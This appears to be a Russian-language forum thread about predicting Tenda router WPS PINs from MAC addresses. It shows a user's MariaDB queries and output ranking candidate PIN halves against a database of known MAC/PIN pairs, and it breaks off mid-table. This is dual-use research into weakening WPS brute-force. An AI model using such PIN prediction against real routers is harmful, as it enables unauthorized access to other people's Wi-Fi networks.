Пин-коды на этикете десятеричные, весь диапазон не влезает по определению - происходит переполнение.

Отсчет снова начинается с 0, потом с 1 и длится до тех пор, пока не случится переполнение уже шестнадцатеричного диапазона - здесь и теряется половина пин-кодов, начинающихся на 7, 8, и 9 - до них не доходит отсчет.

Monohrom
27.06.2020, 21:45
Пинкоды генерируются в шестнадцатеричном формате.



Откуда такая уверенность ?

Isica
28.06.2020, 06:22
Продолжение истории:



о слабых точках



Вернул я в базу все предположительно слабые точки, и поигрался уже с ними:


MariaDB [Tenda]> select tenda_pin8('04:95:E6:62:F0:40,,2,2'); #PIN=3079 700
*************************** 1. row ***************************
tenda_pin8('04:95:E6:62:F0:40,,2,2'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) 04:95:E6:62:F0:38, -8, 5760 пар, 117 уникальных дельт (1:49.2), 44 мажорных(вес 98.7%)
|2) 04:95:E6:62:F1:00, +192, 2967 пар, 187 уникальных дельт (1:15.9), 90 мажорных(вес 96.7%)
|3) 04:95:E6:62:F1:D8, +408, 2282 пар, 162 уникальных дельт (1:14.1), 81 мажорных(вес 96.5%)
|4) 04:95:E6:62:F3:50, +784, 2246 пар, 184 уникальных дельт (1:12.2), 81 мажорных(вес 95.4%)
|5) 04:95:E6:62:F5:B8, +1400, 1916 пар, 139 уникальных дельт (1:13.8), 43 мажорных(вес 95.0%)
|6) 04:95:E6:62:E9:48, -1784, 1740 пар, 150 уникальных дельт (1:11.6), 64 мажорных(вес 95.1%)
|7) 04:95:E6:62:F7:98, +1880, 1735 пар, 112 уникальных дельт (1:15.5), 23 мажорных(вес 94.9%)
|8) 04:95:E6:62:E8:C0, -1920, 1794 пар, 194 уникальных дельт (1:9.25), 74 мажорных(вес 93.3%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 1027 пинов, из них 0 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.49.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 691 фёст-халфов, 0 полно-перекрёстных.
|---------------------------------------------------------------------------------------------|
1 row in set (2.52 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where X;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 2671 | 4 | 4 | 5486 | 3938 | 323 | 0 | 0 | 234 | 789 | 0 | 202 |
| 2 | 2737 | 4 | 4 | 3253 | 1456 | 283 | 0 | 0 | 541 | 256 | 0 | 717 |
| 3 | 1737 | 4 | 4 | 322 | 54 | 63 | 0 | 0 | 55 | 25 | 0 | 125 |
| 4 | 1671 | 4 | 4 | 278 | 81 | 65 | 0 | 0 | 31 | 63 | 0 | 38 |
| 5 | 2802 | 3 | 3 | 594 | 21 | 0 | 0 | 0 | 292 | 29 | 0 | 252 |
| 6 | 3671 | 3 | 3 | 230 | 49 | 0 | 0 | 0 | 45 | 126 | 0 | 10 |
| 7 | 3737 | 3 | 3 | 215 | 18 | 0 | 0 | 0 | 113 | 36 | 0 | 48 |
| 8 | 3079 | 2 | 2 | 782 | 0 | 0 | 332 | 449 | 0 | 1 | 0 | 0 |
| 9 | 3145 | 2 | 2 | 586 | 0 | 0 | 78 | 507 | 0 | 0 | 0 | 1 |
| 10 | 6894 | 2 | 2 | 215 | 48 | 147 | 0 | 0 | 0 | 0 | 0 | 20 |
| 11 | 6960 | 2 | 2 | 174 | 11 | 120 | 0 | 0 | 0 | 0 | 0 | 43 |
| 12 | 3802 | 2 | 2 | 98 | 0 | 0 | 0 | 0 | 71 | 5 | 0 | 22 |
| 13 | 6959 | 2 | 2 | 58 | 15 | 26 | 0 | 0 | 0 | 0 | 0 | 17 |
| 14 | 2328 | 2 | 2 | 3 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 |
| 15 | 5960 | 1 | 3 | 496 | 1 | 493 | 0 | 0 | 0 | 1 | 0 | 1 |
| 16 | 8448 | 1 | 2 | 86 | 1 | 0 | 0 | 0 | 23 | 62 | 0 | 0 |
| 17 | 9302 | 1 | 2 | 5 | 1 | 0 | 0 | 0 | 1 | 3 | 0 | 0 |
| 18 | 3282 | 1 | 2 | 5 | 1 | 0 | 0 | 2 | 2 | 0 | 0 | 0 |
| 19 | 1686 | 1 | 2 | 3 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
| 20 | 3220 | 1 | 2 | 3 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
| 21 | 9856 | 1 | 1 | 530 | 0 | 0 | 385 | 145 | 0 | 0 | 0 | 0 |
| 22 | 9791 | 1 | 1 | 430 | 0 | 0 | 426 | 4 | 0 | 0 | 0 | 0 |
| 23 | 9922 | 1 | 1 | 366 | 0 | 0 | 128 | 238 | 0 | 0 | 0 | 0 |
| 24 | 3014 | 1 | 1 | 221 | 0 | 0 | 215 | 6 | 0 | 0 | 0 | 0 |
| 25 | 9514 | 1 | 1 | 214 | 0 | 0 | 0 | 0 | 163 | 51 | 0 | 0 |
| 26 | 3144 | 1 | 1 | 208 | 0 | 0 | 10 | 198 | 0 | 0 | 0 | 0 |
| 27 | 9448 | 1 | 1 | 172 | 0 | 0 | 0 | 0 | 55 | 117 | 0 | 0 |
| 28 | 8856 | 1 | 1 | 145 | 0 | 0 | 97 | 48 | 0 | 0 | 0 | 0 |
| 29 | 4079 | 1 | 1 | 137 | 0 | 0 | 54 | 83 | 0 | 0 | 0 | 0 |
| 30 | 4145 | 1 | 1 | 127 | 0 | 0 | 14 | 113 | 0 | 0 | 0 | 0 |
| 31 | 9857 | 1 | 1 | 121 | 0 | 0 | 106 | 15 | 0 | 0 | 0 | 0 |
| 32 | 8922 | 1 | 1 | 115 | 0 | 0 | 21 | 94 | 0 | 0 | 0 | 0 |
| 33 | 8791 | 1 | 1 | 103 | 0 | 0 | 101 | 2 | 0 | 0 | 0 | 0 |
| 34 | 8514 | 1 | 1 | 76 | 0 | 0 | 0 | 0 | 53 | 23 | 0 | 0 |
| 35 | 9580 | 1 | 1 | 64 | 0 | 0 | 0 | 0 | 63 | 1 | 0 | 0 |
| 36 | 1802 | 1 | 1 | 63 | 0 | 0 | 0 | 0 | 21 | 0 | 0 | 42 |
| 37 | 2803 | 1 | 1 | 61 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 60 |
| 38 | 2736 | 1 | 1 | 58 | 0 | 0 | 0 | 0 | 7 | 51 | 0 | 0 |
| 39 | 4014 | 1 | 1 | 58 | 0 | 0 | 56 | 2 | 0 | 0 | 0 | 0 |
| 40 | 8857 | 1 | 1 | 32 | 0 | 0 | 28 | 4 | 0 | 0 | 0 | 0 |
| 41 | 9579 | 1 | 1 | 27 | 0 | 0 | 0 | 0 | 22 | 5 | 0 | 0 |
| 42 | 3013 | 1 | 1 | 26 | 0 | 0 | 22 | 4 | 0 | 0 | 0 | 0 |
| 43 | 8580 | 1 | 1 | 22 | 0 | 0 | 0 | 0 | 21 | 1 | 0 | 0 |
| 44 | 7025 | 1 | 1 | 18 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 17 |
| 45 | 3736 | 1 | 1 | 12 | 0 | 0 | 0 | 0 | 3 | 9 | 0 | 0 |
| 46 | 8579 | 1 | 1 | 8 | 0 | 0 | 0 | 0 | 7 | 1 | 0 | 0 |
| 47 | 8513 | 1 | 1 | 5 | 0 | 0 | 0 | 0 | 2 | 3 | 0 | 0 |
| 48 | 1736 | 1 | 1 | 4 | 0 | 0 | 0 | 0 | 1 | 3 | 0 | 0 |
| 49 | 9513 | 1 | 1 | 4 | 0 | 0 | 0 | 0 | 1 | 3 | 0 | 0 |
| 50 | 3722 | 1 | 1 | 3 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
| 51 | 4065 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
| 52 | 7273 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
| 53 | 2532 | 1 | 1 | 2 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |
| 54 | 3883 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
54 rows in set (0.00 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where (m3>0)+(m4>0)>1;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 8 | 3079 | 2 | 2 | 782 | 0 | 0 | 332 | 449 | 0 | 1 | 0 | 0 |
| 9 | 3145 | 2 | 2 | 586 | 0 | 0 | 78 | 507 | 0 | 0 | 0 | 1 |
| 21 | 9856 | 1 | 1 | 530 | 0 | 0 | 385 | 145 | 0 | 0 | 0 | 0 |
| 22 | 9791 | 1 | 1 | 430 | 0 | 0 | 426 | 4 | 0 | 0 | 0 | 0 |
| 23 | 9922 | 1 | 1 | 366 | 0 | 0 | 128 | 238 | 0 | 0 | 0 | 0 |
| 24 | 3014 | 1 | 1 | 221 | 0 | 0 | 215 | 6 | 0 | 0 | 0 | 0 |
| 26 | 3144 | 1 | 1 | 208 | 0 | 0 | 10 | 198 | 0 | 0 | 0 | 0 |
| 28 | 8856 | 1 | 1 | 145 | 0 | 0 | 97 | 48 | 0 | 0 | 0 | 0 |
| 29 | 4079 | 1 | 1 | 137 | 0 | 0 | 54 | 83 | 0 | 0 | 0 | 0 |
| 30 | 4145 | 1 | 1 | 127 | 0 | 0 | 14 | 113 | 0 | 0 | 0 | 0 |
| 31 | 9857 | 1 | 1 | 121 | 0 | 0 | 106 | 15 | 0 | 0 | 0 | 0 |
| 32 | 8922 | 1 | 1 | 115 | 0 | 0 | 21 | 94 | 0 | 0 | 0 | 0 |
| 33 | 8791 | 1 | 1 | 103 | 0 | 0 | 101 | 2 | 0 | 0 | 0 | 0 |
| 39 | 4014 | 1 | 1 | 58 | 0 | 0 | 56 | 2 | 0 | 0 | 0 | 0 |
| 40 | 8857 | 1 | 1 | 32 | 0 | 0 | 28 | 4 | 0 | 0 | 0 | 0 |
| 42 | 3013 | 1 | 1 | 26 | 0 | 0 | 22 | 4 | 0 | 0 | 0 | 0 |
| 51 | 4065 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
| 52 | 7273 | 1 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
| 59 | 1857 | 0 | 1 | 15 | 0 | 0 | 14 | 1 | 0 | 0 | 0 | 0 |
| 64 | 9710 | 0 | 1 | 3 | 0 | 0 | 2 | 1 | 0 | 0 | 0 | 0 |
| 65 | 7890 | 0 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
| 76 | 6277 | 0 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
| 84 | 1907 | 0 | 1 | 2 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
23 rows in set (0.00 sec)

MariaDB [Tenda]> select tenda_pin8('04:95:E6:62:F7:98,,2,2'); #PIN=2837 000
*************************** 1. row ***************************
tenda_pin8('04:95:E6:62:F7:98,,2,2'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) 04:95:E6:62:F5:B8, -480, 2300 пар, 163 уникальных дельт (1:14.1), 70 мажорных(вес 96.0%)
|2) 04:95:E6:62:F9:80, +488, 2265 пар, 171 уникальных дельт (1:13.2), 82 мажорных(вес 96.1%)
|3) 04:95:E6:62:F9:98, +512, 2279 пар, 137 уникальных дельт (1:16.6), 41 мажорных(вес 95.8%)
|4) 04:95:E6:62:FA:B0, +792, 2080 пар, 152 уникальных дельт (1:13.7), 58 мажорных(вес 95.5%)
|5) 04:95:E6:62:FB:18, +896, 2166 пар, 206 уникальных дельт (1:10.5), 97 мажорных(вес 95.0%)
|6) 04:95:E6:62:FB:38, +928, 2189 пар, 213 уникальных дельт (1:10.3), 88 мажорных(вес 94.3%)
|7) 04:95:E6:62:FB:50, +952, 2036 пар, 183 уникальных дельт (1:11.1), 88 мажорных(вес 95.3%)
|8) 04:95:E6:62:F3:50, -1096, 1995 пар, 169 уникальных дельт (1:11.8), 69 мажорных(вес 95.0%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 1216 пинов, из них 0 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.62.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 750 фёст-халфов, 0 полно-перекрёстных.
|---------------------------------------------------------------------------------------------|
1 row in set (2.27 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where X;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 3717 | 3 | 4 | 316 | 188 | 0 | 20 | 0 | 1 | 49 | 58 | 0 |
| 2 | 2717 | 3 | 3 | 1849 | 1050 | 0 | 119 | 0 | 0 | 324 | 356 | 0 |
| 3 | 2652 | 3 | 3 | 1765 | 99 | 0 | 1230 | 0 | 0 | 215 | 221 | 0 |
| 4 | 2651 | 3 | 3 | 372 | 128 | 0 | 6 | 0 | 0 | 135 | 103 | 0 |
| 5 | 1652 | 3 | 3 | 299 | 16 | 0 | 211 | 0 | 0 | 36 | 36 | 0 |
| 6 | 1717 | 3 | 3 | 237 | 81 | 0 | 27 | 0 | 0 | 67 | 62 | 0 |
| 7 | 3652 | 3 | 3 | 187 | 21 | 0 | 91 | 0 | 0 | 40 | 35 | 0 |
| 8 | 9614 | 2 | 2 | 1134 | 0 | 947 | 0 | 171 | 16 | 0 | 0 | 0 |
| 9 | 5874 | 2 | 2 | 870 | 0 | 0 | 232 | 0 | 0 | 396 | 242 | 0 |
| 10 | 5940 | 2 | 2 | 732 | 0 | 0 | 36 | 0 | 0 | 343 | 353 | 0 |
| 11 | 2837 | 2 | 2 | 699 | 0 | 222 | 0 | 443 | 34 | 0 | 0 | 0 |
| 12 | 2902 | 2 | 2 | 564 | 0 | 46 | 0 | 475 | 43 | 0 | 0 | 0 |
| 13 | 3902 | 2 | 2 | 529 | 0 | 9 | 0 | 97 | 423 | 0 | 0 | 0 |
| 14 | 3837 | 2 | 2 | 425 | 0 | 90 | 0 | 91 | 244 | 0 | 0 | 0 |
| 15 | 6874 | 2 | 2 | 206 | 0 | 0 | 109 | 0 | 0 | 57 | 40 | 0 |
| 16 | 9679 | 2 | 2 | 175 | 0 | 34 | 0 | 122 | 19 | 0 | 0 | 0 |
| 17 | 9680 | 2 | 2 | 159 | 0 | 108 | 0 | 44 | 7 | 0 | 0 | 0 |
| 18 | 6940 | 2 | 2 | 115 | 0 | 0 | 13 | 0 | 0 | 58 | 44 | 0 |
| 19 | 3651 | 2 | 2 | 64 | 26 | 0 | 0 | 0 | 0 | 26 | 12 | 0 |
| 20 | 1651 | 2 | 2 | 57 | 15 | 0 | 0 | 0 | 0 | 23 | 19 | 0 |
| 21 | 1614 | 1 | 2 | 371 | 0 | 102 | 0 | 2 | 267 | 0 | 0 | 0 |
| 22 | 3836 | 1 | 2 | 152 | 0 | 10 | 0 | 16 | 126 | 0 | 0 | 0 |
| 23 | 2836 | 1 | 2 | 118 | 0 | 25 | 0 | 81 | 12 | 0 | 0 | 0 |
| 24 | 8680 | 1 | 2 | 28 | 0 | 17 | 0 | 10 | 0 | 0 | 0 | 1 |
| 25 | 6021 | 1 | 2 | 3 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 |
| 26 | 3060 | 1 | 1 | 385 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 384 |
| 27 | 1679 | 1 | 1 | 284 | 0 | 2 | 0 | 0 | 282 | 0 | 0 | 0 |
| 28 | 8614 | 1 | 1 | 241 | 0 | 182 | 0 | 59 | 0 | 0 | 0 | 0 |
| 29 | 9548 | 1 | 1 | 239 | 0 | 190 | 0 | 49 | 0 | 0 | 0 | 0 |
| 30 | 2771 | 1 | 1 | 179 | 0 | 48 | 0 | 131 | 0 | 0 | 0 | 0 |
| 31 | 2783 | 1 | 1 | 154 | 0 | 0 | 0 | 0 | 0 | 44 | 110 | 0 |
| 32 | 1680 | 1 | 1 | 133 | 0 | 14 | 0 | 0 | 119 | 0 | 0 | 0 |
| 33 | 4874 | 1 | 1 | 94 | 0 | 0 | 0 | 0 | 0 | 61 | 33 | 0 |
| 34 | 4940 | 1 | 1 | 92 | 0 | 0 | 0 | 0 | 0 | 48 | 44 | 0 |
| 35 | 6006 | 1 | 1 | 81 | 0 | 0 | 0 | 0 | 0 | 28 | 53 | 0 |
| 36 | 6005 | 1 | 1 | 58 | 0 | 0 | 0 | 0 | 0 | 20 | 38 | 0 |
| 37 | 8679 | 1 | 1 | 50 | 0 | 8 | 0 | 42 | 0 | 0 | 0 | 0 |
| 38 | 3771 | 1 | 1 | 48 | 0 | 27 | 0 | 21 | 0 | 0 | 0 | 0 |
| 39 | 8548 | 1 | 1 | 41 | 0 | 28 | 0 | 13 | 0 | 0 | 0 | 0 |
| 40 | 9613 | 1 | 1 | 40 | 0 | 0 | 0 | 32 | 8 | 0 | 0 | 0 |
| 41 | 3783 | 1 | 1 | 24 | 0 | 0 | 0 | 0 | 0 | 9 | 15 | 0 |
| 42 | 5875 | 1 | 1 | 22 | 0 | 0 | 12 | 0 | 0 | 0 | 10 | 0 |
| 43 | 1783 | 1 | 1 | 21 | 0 | 0 | 0 | 0 | 0 | 5 | 16 | 0 |
| 44 | 7006 | 1 | 1 | 18 | 0 | 0 | 0 | 0 | 0 | 7 | 11 | 0 |
| 45 | 7005 | 1 | 1 | 13 | 0 | 0 | 0 | 0 | 0 | 4 | 9 | 0 |
| 46 | 5006 | 1 | 1 | 12 | 0 | 0 | 0 | 0 | 0 | 4 | 8 | 0 |
| 47 | 6875 | 1 | 1 | 8 | 0 | 0 | 7 | 0 | 0 | 0 | 1 | 0 |
| 48 | 5849 | 1 | 1 | 4 | 0 | 0 | 2 | 0 | 0 | 2 | 0 | 0 |
| 49 | 1406 | 1 | 1 | 3 | 0 | 0 | 1 | 0 | 0 | 0 | 2 | 0 |
| 50 | 8457 | 1 | 1 | 3 | 1 | 0 | 0 | 0 | 0 | 0 | 2 | 0 |
| 51 | 2741 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 |
| 52 | 3703 | 1 | 1 | 2 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 |
| 53 | 6143 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 |
| 54 | 1570 | 1 | 1 | 2 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 |
| 55 | 1971 | 1 | 1 | 2 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
55 rows in set (0.00 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where (m2>0)+(m3>0)+(m5>1)>1;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 8 | 9614 | 2 | 2 | 1134 | 0 | 947 | 0 | 171 | 16 | 0 | 0 | 0 |
| 11 | 2837 | 2 | 2 | 699 | 0 | 222 | 0 | 443 | 34 | 0 | 0 | 0 |
| 12 | 2902 | 2 | 2 | 564 | 0 | 46 | 0 | 475 | 43 | 0 | 0 | 0 |
| 13 | 3902 | 2 | 2 | 529 | 0 | 9 | 0 | 97 | 423 | 0 | 0 | 0 |
| 14 | 3837 | 2 | 2 | 425 | 0 | 90 | 0 | 91 | 244 | 0 | 0 | 0 |
| 16 | 9679 | 2 | 2 | 175 | 0 | 34 | 0 | 122 | 19 | 0 | 0 | 0 |
| 17 | 9680 | 2 | 2 | 159 | 0 | 108 | 0 | 44 | 7 | 0 | 0 | 0 |
| 21 | 1614 | 1 | 2 | 371 | 0 | 102 | 0 | 2 | 267 | 0 | 0 | 0 |
| 22 | 3836 | 1 | 2 | 152 | 0 | 10 | 0 | 16 | 126 | 0 | 0 | 0 |
| 23 | 2836 | 1 | 2 | 118 | 0 | 25 | 0 | 81 | 12 | 0 | 0 | 0 |
| 27 | 1679 | 1 | 1 | 284 | 0 | 2 | 0 | 0 | 282 | 0 | 0 | 0 |
| 32 | 1680 | 1 | 1 | 133 | 0 | 14 | 0 | 0 | 119 | 0 | 0 | 0 |
| 61 | 9132 | 0 | 1 | 5 | 0 | 0 | 1 | 0 | 4 | 0 | 0 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
13 rows in set (0.00 sec)

MariaDB [Tenda]> select tenda_pin8('04:95:E6:62:F3:50,,2,2'); #PIN=7314 868
*************************** 1. row ***************************
tenda_pin8('04:95:E6:62:F3:50,,2,2'):
|---------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) 04:95:E6:62:F1:D8, -376, 2307 пар, 142 уникальных дельт (1:16.2), 49 мажорных(вес 96.0%)
|2) 04:95:E6:62:F1:00, -592, 2279 пар, 151 уникальных дельт (1:15.1), 55 мажорных(вес 95.8%)
|3) 04:95:E6:62:F5:B8, +616, 2207 пар, 150 уникальных дельт (1:14.7), 45 мажорных(вес 95.2%)
|4) 04:95:E6:62:F0:40, -784, 2246 пар, 184 уникальных дельт (1:12.2), 81 мажорных(вес 95.4%)
|5) 04:95:E6:62:F0:38, -792, 2080 пар, 151 уникальных дельт (1:13.8), 58 мажорных(вес 95.5%)
|6) 04:95:E6:62:F7:98, +1096, 1995 пар, 169 уникальных дельт (1:11.8), 69 мажорных(вес 95.0%)
|7) 04:95:E6:62:F9:80, +1584, 1947 пар, 187 уникальных дельт (1:10.4), 82 мажорных(вес 94.6%)
|8) 04:95:E6:62:F9:98, +1608, 1844 пар, 197 уникальных дельт (1:9.36), 81 мажорных(вес 93.7%)
|---------------------------------------------------------------------------------------------|
|После объединения осталось 1093 пинов, из них 0 полностью перекрёстных.
|Эффективность халф-оптимизации: 1.51.
|---------------------------------------------------------------------------------------------|
|ИТОГО: 726 фёст-халфов, 0 полно-перекрёстных.
|---------------------------------------------------------------------------------------------|
1 row in set (2.42 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where X;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 1129 | 3 | 4 | 1812 | 0 | 1151 | 17 | 1 | 268 | 0 | 0 | 375 |
| 2 | 5906 | 3 | 3 | 219 | 0 | 72 | 24 | 0 | 91 | 0 | 0 | 32 |
| 3 | 1195 | 3 | 3 | 190 | 0 | 50 | 22 | 0 | 40 | 0 | 0 | 78 |
| 4 | 5841 | 3 | 3 | 187 | 0 | 57 | 2 | 0 | 97 | 0 | 0 | 31 |
| 5 | 5907 | 3 | 3 | 67 | 0 | 17 | 5 | 0 | 16 | 0 | 0 | 29 |
| 6 | 5972 | 2 | 3 | 71 | 0 | 1 | 40 | 0 | 21 | 0 | 0 | 9 |
| 7 | 6906 | 2 | 2 | 1477 | 0 | 0 | 777 | 0 | 444 | 0 | 0 | 256 |
| 8 | 6972 | 2 | 2 | 1176 | 0 | 0 | 954 | 0 | 131 | 0 | 0 | 91 |
| 9 | 1064 | 2 | 2 | 1019 | 0 | 621 | 0 | 0 | 164 | 0 | 0 | 234 |
| 10 | 6841 | 2 | 2 | 796 | 0 | 0 | 72 | 0 | 475 | 0 | 0 | 249 |
| 11 | 7026 | 2 | 2 | 683 | 0 | 0 | 0 | 0 | 0 | 408 | 274 | 1 |
| 12 | 6907 | 2 | 2 | 397 | 0 | 0 | 143 | 0 | 81 | 0 | 0 | 173 |
| 13 | 6249 | 2 | 2 | 220 | 64 | 1 | 0 | 155 | 0 | 0 | 0 | 0 |
| 14 | 7906 | 2 | 2 | 91 | 0 | 0 | 15 | 0 | 38 | 0 | 0 | 38 |
| 15 | 7972 | 2 | 2 | 46 | 0 | 0 | 23 | 0 | 15 | 0 | 0 | 8 |
| 16 | 7907 | 2 | 2 | 34 | 0 | 0 | 4 | 0 | 5 | 0 | 0 | 25 |
| 17 | 9129 | 1 | 2 | 111 | 0 | 78 | 0 | 0 | 2 | 0 | 0 | 31 |
| 18 | 9567 | 1 | 2 | 3 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 |
| 19 | 6361 | 1 | 2 | 3 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 |
| 20 | 7249 | 1 | 1 | 1200 | 495 | 0 | 0 | 705 | 0 | 0 | 0 | 0 |
| 21 | 7091 | 1 | 1 | 785 | 0 | 0 | 0 | 0 | 0 | 615 | 170 | 0 |
| 22 | 7314 | 1 | 1 | 534 | 240 | 0 | 0 | 294 | 0 | 0 | 0 | 0 |
| 23 | 4026 | 1 | 1 | 475 | 474 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
| 24 | 7315 | 1 | 1 | 265 | 110 | 0 | 0 | 155 | 0 | 0 | 0 | 0 |
| 25 | 7092 | 1 | 1 | 160 | 0 | 0 | 0 | 0 | 0 | 23 | 137 | 0 |
| 26 | 6091 | 1 | 1 | 153 | 0 | 0 | 0 | 0 | 0 | 127 | 26 | 0 |
| 27 | 6026 | 1 | 1 | 147 | 0 | 0 | 0 | 0 | 0 | 90 | 57 | 0 |
| 28 | 8249 | 1 | 1 | 136 | 69 | 0 | 0 | 67 | 0 | 0 | 0 | 0 |
| 29 | 7157 | 1 | 1 | 104 | 0 | 0 | 0 | 0 | 0 | 48 | 56 | 0 |
| 30 | 6314 | 1 | 1 | 91 | 28 | 0 | 0 | 63 | 0 | 0 | 0 | 0 |
| 31 | 8026 | 1 | 1 | 91 | 0 | 0 | 0 | 0 | 0 | 37 | 54 | 0 |
| 32 | 8091 | 1 | 1 | 90 | 0 | 0 | 0 | 0 | 0 | 65 | 25 | 0 |
| 33 | 8314 | 1 | 1 | 73 | 39 | 0 | 0 | 34 | 0 | 0 | 0 | 0 |
| 34 | 9064 | 1 | 1 | 69 | 0 | 48 | 0 | 0 | 0 | 0 | 0 | 21 |
| 35 | 7841 | 1 | 1 | 60 | 0 | 0 | 0 | 0 | 33 | 0 | 0 | 27 |
| 36 | 1130 | 1 | 1 | 45 | 0 | 17 | 0 | 0 | 0 | 0 | 0 | 28 |
| 37 | 8092 | 1 | 1 | 35 | 0 | 0 | 0 | 0 | 0 | 6 | 29 | 0 |
| 38 | 6092 | 1 | 1 | 32 | 0 | 0 | 0 | 0 | 0 | 7 | 25 | 0 |
| 39 | 1194 | 1 | 1 | 29 | 0 | 0 | 7 | 0 | 22 | 0 | 0 | 0 |
| 40 | 6315 | 1 | 1 | 29 | 9 | 0 | 0 | 20 | 0 | 0 | 0 | 0 |
| 41 | 8315 | 1 | 1 | 25 | 10 | 0 | 0 | 15 | 0 | 0 | 0 | 0 |
| 42 | 6157 | 1 | 1 | 19 | 0 | 0 | 0 | 0 | 0 | 12 | 7 | 0 |
| 43 | 8157 | 1 | 1 | 16 | 0 | 0 | 0 | 0 | 0 | 5 | 11 | 0 |
| 44 | 1289 | 1 | 1 | 5 | 0 | 0 | 0 | 0 | 0 | 4 | 1 | 0 |
| 45 | 9130 | 1 | 1 | 5 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 3 |
| 46 | 5921 | 1 | 1 | 4 | 0 | 0 | 3 | 0 | 1 | 0 | 0 | 0 |
| 47 | 6128 | 1 | 1 | 4 | 0 | 0 | 2 | 0 | 2 | 0 | 0 | 0 |
| 48 | 6697 | 1 | 1 | 3 | 0 | 0 | 2 | 0 | 1 | 0 | 0 | 0 |
| 49 | 6409 | 1 | 1 | 3 | 0 | 0 | 2 | 0 | 1 | 0 | 0 | 0 |
| 50 | 7518 | 1 | 1 | 2 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 |
| 51 | 4665 | 1 | 1 | 2 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 |
| 52 | 1626 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 |
| 53 | 7730 | 1 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 54 | 6760 | 1 | 1 | 2 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
54 rows in set (0.00 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where (m1>0)+(m4>0)>1;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 13 | 6249 | 2 | 2 | 220 | 64 | 1 | 0 | 155 | 0 | 0 | 0 | 0 |
| 20 | 7249 | 1 | 1 | 1200 | 495 | 0 | 0 | 705 | 0 | 0 | 0 | 0 |
| 22 | 7314 | 1 | 1 | 534 | 240 | 0 | 0 | 294 | 0 | 0 | 0 | 0 |
| 24 | 7315 | 1 | 1 | 265 | 110 | 0 | 0 | 155 | 0 | 0 | 0 | 0 |
| 28 | 8249 | 1 | 1 | 136 | 69 | 0 | 0 | 67 | 0 | 0 | 0 | 0 |
| 30 | 6314 | 1 | 1 | 91 | 28 | 0 | 0 | 63 | 0 | 0 | 0 | 0 |
